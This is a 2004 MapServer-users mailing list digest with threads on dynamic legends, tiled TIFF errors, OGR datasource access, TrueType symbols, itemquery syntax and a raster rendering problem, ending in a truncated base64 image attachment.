the actual map in the actual area it happens to be a wasteland with only a
Road in it. In this case what one would expect from a classical map would be
to only see that symbol - the symbol of the Road type of streets. See 
what I mean?
Maybe the Streets example is not the best for the problem we have here.
Say, a vegetation zones map. One can have, say, 25 types of vegetation. 
At a certain
point and at a certain scale, on the map will only be 3 types. No matter how
one will play with layering, this is not exactly a scale-related 
problem, but
data-related problem. "Does the map shows now forest and grassland now? Then
the legend should not present all the possible vegetation types".

Thanks for your answer,
Jean


Martin, Daniel A wrote:

>I do exactly the same thing.  The way I do it, I have two layers
>pointing at the same data.  One has only the highway class, and the
>other has all street types.  But, here's the trick.  Name both layers
>the SAME exact name.  Now, have the range set where the minscale of the
>highway layer is the maxscale of the detailed street layer.
>
>As the user zooms in and out, MapServer will naturally transition from
>highways to detailed streets.  However, the legend will show exactly
>what you are asking for.  And, by naming both layers the same name, the
>status (on/off) will carry over as the user zooms.  If the highway layer
>was on, the street layer will also be on when the user zooms in.
>
>I know it may sound strange, but I promise it works beautifully.
>
>-Dan
>
>  
>
>>-----Original Message-----
>>From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com] 
>>Sent: Thursday, January 29, 2004 2:51 PM
>>To: Martin, Daniel A
>>Cc: mapserver-users at lists.gis.umn.edu
>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>
>>No. I have, for example, one of the layers with a number of classes 
>>(say, streets, with
>>each type of street having its own class). In a certain area, at a 
>>certain scale, one could
>>get, for example, only highways. What I want is to have the legend 
>>showing only the
>>symbols/definitions for what is actually in the map at a 
>>certain moment.
>>
>>Jean
>>
>>
>>Martin, Daniel A wrote:
>>
>>    
>>
>>>Do you mean layers that are on, and within range, but are 
>>>      
>>>
>>not visible 
>>    
>>
>>>because of your current location?  I don't believe that is possible. 
>>>However, the default is to hide layers that are not visible 
>>>      
>>>
>>or have a 
>>    
>>
>>>status of OFF.  However, if you have layers that have a status of 
>>>DEFAULT, then those are going to show no matter what.
>>>
>>>Am I misunderstanding you?
>>>
>>>-Dan
>>>
>>> 
>>>
>>>      
>>>
>>>>-----Original Message-----
>>>>From: mapserver-users-admin at lists.gis.umn.edu
>>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
>>>>Jean-Henry Berevoescu
>>>>Sent: Thursday, January 29, 2004 1:16 PM
>>>>To: mdoggett at coas.oregonstate.edu
>>>>Cc: mapserver-users at lists.gis.umn.edu
>>>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>>>
>>>>
>>>>
>>>>I tried that one and all the possible combinations (and their
>>>>sum). Nothing works.
>>>>
>>>>Thanks,
>>>>Jean
>>>>
>>>>
>>>>Matt Doggett wrote:
>>>>
>>>>   
>>>>
>>>>        
>>>>
>>>>>I believe HTML legends will do the trick. In the
>>>>>     
>>>>>
>>>>>          
>>>>>
>>>>legend_template.html
>>>>   
>>>>
>>>>        
>>>>
>>>>>file you could specify [leg_class_html opt_flag=12] for 
>>>>>          
>>>>>
>>example. see
>>    
>>
>>>>>the HTML legend How-To for more details about the opt_flag 
>>>>>          
>>>>>
>>bit mask.
>>    
>>
>>>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>>>>>
>>>>>MD
>>>>>
>>>>>
>>>>>
>>>>>     
>>>>>
>>>>>          
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: mapserver-users-admin at lists.gis.umn.edu
>>>>>>       
>>>>>>
>>>>>>            
>>>>>>
>>>[mailto:mapserver-users-
>>> 
>>>
>>>      
>>>
>>>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>>>>Sent: Wednesday, January 28, 2004 8:12 PM
>>>>>To: mapserver-users at lists.gis.umn.edu
>>>>>Subject: [Mapserver-users] Q: Dynamic Legends
>>>>>
>>>>>
>>>>>Hi,
>>>>>Is there a way to have the legend dynamically show only 
>>>>>          
>>>>>
>>the classes 
>>    
>>
>>>>>of
>>>>>  
>>>>>
>>>>>     
>>>>>
>>>>>          
>>>>>
>>>>a
>>>>
>>>>
>>>>   
>>>>
>>>>        
>>>>
>>>>>layer actually
>>>>>shown in a map (not the whole defined set in the mapfile)?
>>>>>
>>>>>Jean
>>>>>
>>>>>_______________________________________________
>>>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>  
>>>>>
>>>>>     
>>>>>
>>>>>          
>>>>>
>>>>   
>>>>
>>>>        
>>>>
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> 
>>>
>>>      
>>>
>
>
>  
>



From Daniel.A.Martin at erac.com  Thu Jan 29 13:51:28 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 29 Jan 2004 15:51:28 -0600
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CD4@STL-EXBE-I03.corp.erac.com>

I'm pretty sure MapServer does not support that.  Currently legends only
check "Is this class/layer within range?".

I think (though I am not a dev) that the legend gets created without
even knowing the output on the map.  It simply checks the map file, and
knows immediately what layers are in range using the minscale/maxscale
settings, and knows what the status of the layers are.  You can request
a legend from mapserver without ever requesting a map.

-Dan

> -----Original Message-----
> From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com] 
> Sent: Thursday, January 29, 2004 3:34 PM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Q: Dynamic Legends
> 
> 
> 
> Yes and no. Actually in your scenario I still will have some unsolved 
> issues.
> For example: let's say that at a certain scale, all the 
> layers are to be 
> shown
> so I can have Drives, Places, Streets, Roads, Highways and so 
> on - but on the actual map in the actual area it happens to 
> be a wasteland with only a Road in it. In this case what one 
> would expect from a classical map would be to only see that 
> symbol - the symbol of the Road type of streets. See 
> what I mean?
> Maybe the Streets example is not the best for the problem we 
> have here. Say, a vegetation zones map. One can have, say, 25 
> types of vegetation. 
> At a certain
> point and at a certain scale, on the map will only be 3 
> types. No matter how one will play with layering, this is not 
> exactly a scale-related 
> problem, but
> data-related problem. "Does the map shows now forest and 
> grassland now? Then the legend should not present all the 
> possible vegetation types".
> 
> Thanks for your answer,
> Jean
> 
> 
> Martin, Daniel A wrote:
> 
> >I do exactly the same thing.  The way I do it, I have two layers 
> >pointing at the same data.  One has only the highway class, and the 
> >other has all street types.  But, here's the trick.  Name 
> both layers 
> >the SAME exact name.  Now, have the range set where the 
> minscale of the 
> >highway layer is the maxscale of the detailed street layer.
> >
> >As the user zooms in and out, MapServer will naturally 
> transition from 
> >highways to detailed streets.  However, the legend will show exactly 
> >what you are asking for.  And, by naming both layers the 
> same name, the 
> >status (on/off) will carry over as the user zooms.  If the highway 
> >layer was on, the street layer will also be on when the user 
> zooms in.
> >
> >I know it may sound strange, but I promise it works beautifully.
> >
> >-Dan
> >
> >  
> >
> >>-----Original Message-----
> >>From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com]
> >>Sent: Thursday, January 29, 2004 2:51 PM
> >>To: Martin, Daniel A
> >>Cc: mapserver-users at lists.gis.umn.edu
> >>Subject: Re: [Mapserver-users] Q: Dynamic Legends
> >>
> >>
> >>
> >>No. I have, for example, one of the layers with a number of classes
> >>(say, streets, with
> >>each type of street having its own class). In a certain area, at a 
> >>certain scale, one could
> >>get, for example, only highways. What I want is to have the legend 
> >>showing only the
> >>symbols/definitions for what is actually in the map at a 
> >>certain moment.
> >>
> >>Jean
> >>
> >>
> >>Martin, Daniel A wrote:
> >>
> >>    
> >>
> >>>Do you mean layers that are on, and within range, but are
> >>>      
> >>>
> >>not visible
> >>    
> >>
> >>>because of your current location?  I don't believe that is 
> possible.
> >>>However, the default is to hide layers that are not visible 
> >>>      
> >>>
> >>or have a
> >>    
> >>
> >>>status of OFF.  However, if you have layers that have a status of
> >>>DEFAULT, then those are going to show no matter what.
> >>>
> >>>Am I misunderstanding you?
> >>>
> >>>-Dan
> >>>
> >>> 
> >>>
> >>>      
> >>>
> >>>>-----Original Message-----
> >>>>From: mapserver-users-admin at lists.gis.umn.edu
> >>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of
> >>>>Jean-Henry Berevoescu
> >>>>Sent: Thursday, January 29, 2004 1:16 PM
> >>>>To: mdoggett at coas.oregonstate.edu
> >>>>Cc: mapserver-users at lists.gis.umn.edu
> >>>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
> >>>>
> >>>>
> >>>>
> >>>>I tried that one and all the possible combinations (and 
> their sum). 
> >>>>Nothing works.
> >>>>
> >>>>Thanks,
> >>>>Jean
> >>>>
> >>>>
> >>>>Matt Doggett wrote:
> >>>>
> >>>>   
> >>>>
> >>>>        
> >>>>
> >>>>>I believe HTML legends will do the trick. In the
> >>>>>     
> >>>>>
> >>>>>          
> >>>>>
> >>>>legend_template.html
> >>>>   
> >>>>
> >>>>        
> >>>>
> >>>>>file you could specify [leg_class_html opt_flag=12] for
> >>>>>          
> >>>>>
> >>example. see
> >>    
> >>
> >>>>>the HTML legend How-To for more details about the opt_flag
> >>>>>          
> >>>>>
> >>bit mask.
> >>    
> >>
> >>>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
> >>>>>
> >>>>>MD
> >>>>>
> >>>>>
> >>>>>
> >>>>>     
> >>>>>
> >>>>>          
> >>>>>
> >>>>>>-----Original Message-----
> >>>>>>From: mapserver-users-admin at lists.gis.umn.edu
> >>>>>>       
> >>>>>>
> >>>>>>            
> >>>>>>
> >>>[mailto:mapserver-users-
> >>> 
> >>>
> >>>      
> >>>
> >>>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
> >>>>>Sent: Wednesday, January 28, 2004 8:12 PM
> >>>>>To: mapserver-users at lists.gis.umn.edu
> >>>>>Subject: [Mapserver-users] Q: Dynamic Legends
> >>>>>
> >>>>>
> >>>>>Hi,
> >>>>>Is there a way to have the legend dynamically show only
> >>>>>          
> >>>>>
> >>the classes
> >>    
> >>
> >>>>>of
> >>>>>  
> >>>>>
> >>>>>     
> >>>>>
> >>>>>          
> >>>>>
> >>>>a
> >>>>
> >>>>
> >>>>   
> >>>>
> >>>>        
> >>>>
> >>>>>layer actually
> >>>>>shown in a map (not the whole defined set in the mapfile)?
> >>>>>
> >>>>>Jean
> >>>>>
> >>>>>_______________________________________________
> >>>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> >>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>>>  
> >>>>>
> >>>>>     
> >>>>>
> >>>>>          
> >>>>>
> >>>>   
> >>>>
> >>>>        
> >>>>
> >>>_______________________________________________
> >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>
> >>> 
> >>>
> >>>      
> >>>
> >
> >
> >  
> >
> 
> 



From ed at topozone.com  Thu Jan 29 13:29:40 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 29 Jan 2004 16:29:40 -0500
Subject: [Mapserver-users] Tiled TIFFs - Error 4 - Problem Resolved
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B26A@mercator.topozone.com>

Bob -

It is hard to imagine how the Move command would make a difference.
However, it is also possible (from your scenario) that for some reason
the ARC/INFO script was incorrectly creating those files when writing
them to a different location.  I'm not saying either scenario sounds
likely, but they're both consistent with the results!

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242  

-----Original Message-----
From: Robert A Carr [mailto:racarr at fs.fed.us] 
Sent: Thursday, January 29, 2004 3:41 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Tiled TIFFs - Error 4 - Problem Resolved





In December, 2000 I sent to the list a message describing problems I
experienced while implementing scale-dependent raster layers using image
tiles.  A few weeks ago, with a minor change in technique, and no change
in versions or executables, I was able to successfully create image
catalogs for each zoom level,  and had no problem displaying them in
MapServer.
Unlikely as it seems,  the fix that worked for me was to change a line
in the arc/info grid procedure which directed the output of the
'gridimage'
command to the system directory I was using for the MapServer data
sources.
Previously, the output was going to a GIS workspace,  and the images
were then moved to the MapServer directories using the Windows Explorer
'Move to Folder' menu choice.  In both cases, 'gdaltindex' and 'shptree'
were ran against the tiffs after they had been moved to the final
directory.

I'm not sure what  (if anything) the 'Move to Folder' operation might
have introduced  to the inner file names used by Windows, but abandoning
its use
seems to have solved my problem.   I've created enough tiled layers with
the new procedure to believe the fix is real.

Dell Latitude 640
Windows 2000 Professional
MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
OUTPUT=PDF OUTPUT=SWF SUPPORTS =PROJ SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER
SUPPORTS=WFS_CLI ENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

---
Bob Carr
USDA Forest Service - Eastern Region
racarr at fs.fed.us           (414) 297-1057

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From spencer at dmsolutions.ca  Thu Jan 29 13:48:37 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 29 Jan 2004 16:48:37 -0500
Subject: [Mapserver-users] OGR unable to access datasource
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895A5@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B895A5@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <40197FB5.4020101@magma.ca>

I wonder if this could be an IIS issue?  IIS runs as a different user 
normally, and has considerably reduced privileges in order to block up 
potential security issues.  Can you possibly set up Apache and try with 
Apache?  If it works with Apache then we can be sure it is an IIS 
configuration issue and focus on figuring out why it won't work.

The other possibility is that your mapserver does not support VRT, did 
we rule that out yet?

Paul

Van Ulden, Joost wrote:

> Hi Tyler,
> 
> Here is the output from ogrinfo.  Looks like its working, however I still
> unable to get mapserver to connect.  I have tried putting the
>  directly in the mapfile CONNECTION and still get the same
> error: 
> 
> msDrawMap(): Image handling error. Failed to draw layer named 'OGRPoints'. 
> msOGRFileOpen(): OGR error. Open failed for OGR connection `
> ODBC:foo/foo at mydsn,Desc_story Desc_story wkbPoint WGS84 '. File not found or
> unsupported format. 
> 
> Looking forward to your response.
> 
> 
> C:\OpenEV_FW\bin>ogrinfo C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
> using driver `VRT' successful.
> 1: story (Point)
> 
> 
> C:\OpenEV_FW\bin>ogrinfo C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> story ERROR 4: Update access not supported for VRT datasources. Had to open
> data source read-only.
> INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
> using driver `VRT' successful.
> .
> .
> .
> OGRFeature(story):87
>   desc_id (String) = 400E2174-65BF-3224-7CEF493349368AE7
>   group_id (String) = 0
>   comm_id (String) = DE9E2A07-B0D0-EA24-1BD6282422D24117
>   user_id (String) = 4A335096-7ADD-419B-9E16-1995F233D3F8
>   elev (Real) =                  0
>   units (String) =
>   rtype (String) =
>   mu (String) =
>   ldesc (String) =
>   min (String) =
>   lmu (String) =
>   struct (String) =
>   txt (String) =
>   snum (String) =
>   purp (String) =
>   sfeat (String) =
>   azi (Real) =                  0
>   dip (Real) =                  0
>   stdesc (String) =
>   name (String) =
>   sdesc (String) =
>   story_x (Real) = -1993136.4272429
>   story_y (Real) = 471899.80462409
>   share (Integer) = 0
>   release (Integer) = 1
>   date (String) = 2004-01-22 16:08:11.000
>   POINT (-1993136.427 471899.805 0.000)
> 
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> 
> 
> 
>>-----Original Message-----
>>From: Tyler Mitchell [mailto:TMitchell at lignum.com] 
>>Sent: Thursday, January 29, 2004 9:46 AM
>>To: Van Ulden, Joost
>>Subject: Re: [Mapserver-users] OGR unable to access datasource
>>
>>
>>
>>
>>
>>
>>
>>
>>>  LAYER
>>>    NAME OGRPoints
>>>    TYPE POINT
>>>    CONNECTIONTYPE OGR
>>>    CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
>>>    DATA "Desc_story"
>>>    STATUS default
>>>    CLASS
>>>      COLOR 255 0 0
>>>    END
>>
>>I just asked for your layer definition, I see it here in your 
>>old email, so nevermind. Are you sure about the text case for 
>>the "DATA" parameter?  Send me your output from ogrinfo!
>>
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From stephen.clark at focus.ca  Thu Jan 29 14:51:54 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Thu, 29 Jan 2004 14:51:54 -0800
Subject: [Mapserver-users] has anyone got the wingdings TTF font to work with mapserver
References: 
Message-ID: <0db901c3e6ba$7db89460$6c000a0a@sclark>

Hi ALL,

I would like to display a symbol from the wingding TTF for symbols.

Does anyiong have a working symbol definition?

Here is my attempt:

SYMBOL
  NAME "funky"
  TYPE TRUETYPE
  FONT wingding
  ANTIALIAS true
  CHARACTER "µ"
END

thanks
Stephen


From ed at topozone.com  Thu Jan 29 14:16:24 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 29 Jan 2004 17:16:24 -0500
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B270@mercator.topozone.com>

Daniel -

I don't think that's quite the scenario being described.  I have a
similar problem that is not soluble AFAIK with current MapServer
technology.

I have a Land Use map that covers the state with polygons, each of which
is assigned one of 37 land use codes.  Any given map is unlikely to
display more than 3 or 4 different codes, but they all have a legend
with 37 entries in it, making the 3 that are actually ON the map hard to
find.

It's not a matter of selecting features by spatial scale, but by
selecting legend symbology based on data that is actually in the current
view frame.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242  

-----Original Message-----
From: Martin, Daniel A [mailto:Daniel.A.Martin at erac.com] 
Sent: Thursday, January 29, 2004 4:03 PM
To: Jean-Henry Berevoescu
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Q: Dynamic Legends

I do exactly the same thing.  The way I do it, I have two layers
pointing at the same data.  One has only the highway class, and the
other has all street types.  But, here's the trick.  Name both layers
the SAME exact name.  Now, have the range set where the minscale of the
highway layer is the maxscale of the detailed street layer.

As the user zooms in and out, MapServer will naturally transition from
highways to detailed streets.  However, the legend will show exactly
what you are asking for.  And, by naming both layers the same name, the
status (on/off) will carry over as the user zooms.  If the highway layer
was on, the street layer will also be on when the user zooms in.

I know it may sound strange, but I promise it works beautifully.

-Dan

> -----Original Message-----
> From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com]
> Sent: Thursday, January 29, 2004 2:51 PM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Q: Dynamic Legends
> 
> 
> 
> No. I have, for example, one of the layers with a number of classes 
> (say, streets, with each type of street having its own class). In a 
> certain area, at a certain scale, one could get, for example, only 
> highways. What I want is to have the legend showing only the 
> symbols/definitions for what is actually in the map at a certain 
> moment.
> 
> Jean
> 
> 
> Martin, Daniel A wrote:
> 
> >Do you mean layers that are on, and within range, but are
> not visible
> >because of your current location?  I don't believe that is possible. 
> >However, the default is to hide layers that are not visible
> or have a
> >status of OFF.  However, if you have layers that have a status of 
> >DEFAULT, then those are going to show no matter what.
> >
> >Am I misunderstanding you?
> >
> >-Dan
> >
> >  
> >
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu
> >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> >>Jean-Henry Berevoescu
> >>Sent: Thursday, January 29, 2004 1:16 PM
> >>To: mdoggett at coas.oregonstate.edu
> >>Cc: mapserver-users at lists.gis.umn.edu
> >>Subject: Re: [Mapserver-users] Q: Dynamic Legends
> >>
> >>
> >>
> >>I tried that one and all the possible combinations (and their sum). 
> >>Nothing works.
> >>
> >>Thanks,
> >>Jean
> >>
> >>
> >>Matt Doggett wrote:
> >>
> >>    
> >>
> >>>I believe HTML legends will do the trick. In the
> >>>      
> >>>
> >>legend_template.html
> >>    
> >>
> >>>file you could specify [leg_class_html opt_flag=12] for
> example. see
> >>>the HTML legend How-To for more details about the opt_flag
> bit mask.
> >>>
> >>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
> >>>
> >>>MD
> >>>
> >>> 
> >>>
> >>>      
> >>>
> >>>>-----Original Message-----
> >>>>From: mapserver-users-admin at lists.gis.umn.edu
> >>>>        
> >>>>
> >[mailto:mapserver-users-
> >  
> >
> >>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
> >>>Sent: Wednesday, January 28, 2004 8:12 PM
> >>>To: mapserver-users at lists.gis.umn.edu
> >>>Subject: [Mapserver-users] Q: Dynamic Legends
> >>>
> >>>
> >>>Hi,
> >>>Is there a way to have the legend dynamically show only
> the classes
> >>>of
> >>>   
> >>>
> >>>      
> >>>
> >>a
> >> 
> >>
> >>    
> >>
> >>>layer actually
> >>>shown in a map (not the whole defined set in the mapfile)?
> >>>
> >>>Jean
> >>>
> >>>_______________________________________________
> >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>   
> >>>
> >>>      
> >>>
> >> 
> >>
> >>    
> >>
> >
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >  
> >
> 
> 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From David.Beard at ga.gov.au  Thu Jan 29 14:19:34 2004
From: David.Beard at ga.gov.au (David.Beard at ga.gov.au)
Date: Fri, 30 Jan 2004 09:19:34 +1100
Subject: [Mapserver-users] FW: Itemquery
Message-ID: 

Werner, 

Try this:
...mode=itemnquery&qlayer=country&qitem=cntry_name&qstring=NAMIBIA

Dave


-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Werner du
Plessis
Sent: Thursday, 29 January 2004 5:41 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] FW: Itemquery



Hi, 

I am experiencing a problem with (Itemquery, Itemnquery). Regardless of
syntax I get the message "No Matching Records found". 

Mapserver	: 	4.0
OS		:	Windows 2000 Professional
		
My URL string follows:
...mode=itemnquery&qlayer=country&qstring=('[CNTRY_NAME]'+EQ+'NAMIBIA')

I have tried all sorts of combinations including upper/lower case field
names, but it doesnt seem to make any difference.

Any help in this regard would be much appreciated. 

Kind Regards
Werner 
 





From cpurvis at asg.sc.edu  Thu Jan 29 14:33:53 2004
From: cpurvis at asg.sc.edu (Charlton Purvis)
Date: Thu, 29 Jan 2004 17:33:53 -0500
Subject: [Mapserver-users] bizarre raster output
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E6B7.F9627B52
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi, folks:

I've got a raster .png, 8800 x 6600, complete w/ a working .wld.  The
original raster has some color on the left side, and the rest of the
image is transparent.

I expected to see the Pacific covered by this raster and the rest of the
Eastern part left alone.  But the attached image is what I get.
Bizarre.  Is there a max pixel image size?  The entire PNG is a mere
2MB.

Anyone seen anything like this?  It's purty, but it ain't gunna cut it.

MapServer version 4.0 OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP =
SUPPORTS=3DPROJ
SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPORTS=3DWMS_CLIENT =
INPUT=3DEPPL7
INPUT=3DJPEG INPUT=3DPOSTGIS INPUT=3DGDAL INPUT=3DSHAPEFILE

gdal-1.1.8 (plain ./configure)

  EXTENT -125 -5 -45 55
  SIZE 880 660
  IMAGETYPE PNG  # I've also tried RGBA w/ TRANSPARENCY ON

The PROJECTIONs are the same.  Also tried stripping out everything
(including projections) but the raster layer.  Same results.

Aha!  I just ran a gdalinfo, and I get a seg fault.  Anyone mind
checking it out?  Original raster (non-transparent) is here:
http://nautilus.baruch.sc.edu/~cpurvis/.

I don't think the file is corrupt since it displays OK in Photoshop, and
ImageMagick is OK w/ it, too.

Thanks,

Charlton

=20
=20
=20
Charlton Purvis
(803) 777-8858 : voice
(803) 777-3935 : fax
cpurvis at sc.edu
=20
Baruch Institute
University of South Carolina
Columbia, SC 29208


------_=_NextPart_001_01C3E6B7.F9627B52
Content-Type: image/png;
	name="big_usf.png"
Content-Transfer-Encoding: base64
Content-Description: big_usf.png
Content-Disposition: attachment;
	filename="big_usf.png"

iVBORw0KGgoAAAANSUhEUgAAA3AAAAKUCAMAAAEFkRpTAAADAFBMVEXS/PEAAAAAAD8AAH4AAL0A
APwAPwAAPz8AP34AP70AP/wAfgAAfj8Afn4Afr0AfvwAvQAAvT8AvX4Avb0AvfwA/AAA/D8A/H4A
/L0A/Pw/AAA/AD8/AH4/AL0/APw/PwA/Pz8/P34/P70/P/w/fgA/fj8/fn4/fr0/fvw/vQA/vT8/
vX4/vb0/vfw//AA//D8//H4//L0//Px+AAB+AD9+AH5+AL1+APx+PwB+Pz9+P35+P71+P/x+fgB+
fj9+fn5+fr1+fvx+vQB+vT9+vX5+vb1+vfx+/AB+/D9+/H5+/L1+/Py9AAC9AD+9AH69AL29APy9
PwC9Pz+9P369P729P/y9fgC9fj+9fn69fr29fvy9vQC9vT+9vX69vb29vfy9/AC9/D+9/H69/L29
/Pz8AAD8AD/8AH78AL38APz8PwD8Pz/8P378P738P/z8fgD8fj/8fn78fr38fvz8vQD8vT/8vX78
vb38vfz8/AD8/D/8/H78/L38/PwICAgQEBAYGBggICAoKCgwMDA4ODhAQEBISEhQUFBYWFhgYGBo
aGhwcHB4eHiAgICIiIiQkJCYmJigoKCoqKiwsLC4uLjAwMDIyMjQ0NDY2Njg4ODo6Ojw8PD4+Pjh
4eHS0tIBAQE3Nzc8PDxBQUFGRkZLS0taWlpkZGSMjIwyWloybW08cnI8e3tFgZFGjKBLm6pQoLVk
qr5ztMh9t9iPwe+n1Pmu2vm44/nE4f/Q7P/t1v/jzv/axv/Svv/NtP/Dqv+0oP+qlv+gjP+Wgv+M
eP+CbuF4ZMhuPLdkLappKK+FAN2TAN2bAN2mAN2tAN2qAMPDAMO0ALSgAKCRAJF9AH1aAFo8AFot
AFUAAFUAAF8AAH8AAYwAA58ABLEABsMABsgACNoACOMACvoAD/8AGP8AL/8AOP8AQf8ARf8AV/8A
Zf8Abv8Ad/8AgP8AhP8Ajf8Alv8ApP8Atv8Av/8Aw/8AzP8A4/8A9f8A+v+A+vKA/+F4/85k/5gA
/4IA/3QA/1kA/z45keFEAAAgAElEQVR4nO2dTbP0VnXv9xk/k56cb3C+ge/Eo1vVY0/UDLqrzh1o
QqWiLrwlLJXcUukb+CtIuckgVCpACrAdk4txgQFjXOTiEIhNOilDOeGacI0T59o4gJ+71t567Va/
t3a3dP7refpFarV0Vv/122vtF20JsY/95PVXX3n1e6//8Ec/fXv59ltvv/Wzt5fvvPvL997/4D8+
+uR3nz6+vb0djUZjexGHnjefB4HvSyn5QfZEUrO9jobD4XAP43CZycNlIku323m9S4vDbTrsmQ9X
2objnfdwu37Lzrzb4F5nh2s/XneH69679kN8w+zhOvNu54nZa+9a9p91eLiW4w3pcJnZiLDuXqfe
rR/P1OEyI4dbdW9gh9sehjpJ/MwfbkOO1E1aWz+cPTZxuPwnHdnqJer0cHSoQkGbjxfH3R6udjy2
uGPvOKHOg3vopXG46PpwWSrusvKU8byuvaOfc5TpcySkn1Ofph3W71g+f56mrkfW/eFYvvtgngZh
cV52+GMq925tm8RzwwL5rMPDRbR7eyGCNPXdNE8rOjxcLIT0fXqkfhp0/2PS4YQf8gHLo3V5uIif
pKRH6vsGThUyjw7Gx5MmDif5WA49GwGBD6aO2XW8qx2O/asO2LF2jjOdqjfdH0469GQ5+ifND9jl
4eg4k4mY6OPqA3Z4OJ+PN3Uc4VTrum9gdKzi5zRxOMupL/W7+bT+IyrfJo6hw9H56OavRg4nycEJ
F5lmDuern7RxtC5PlUXzd+z6cBTrhDU1dbiACxUxM+ad4cOJ2XRt1WBKFRwOh8PhcDgcDod7sIez
o7n92yR58w35cyu5/earyZdffy6Jk48/eXmZPJGMkzd/nDy6kYm4+eyvn3sp+Vz8SvKM9ULyIe3/
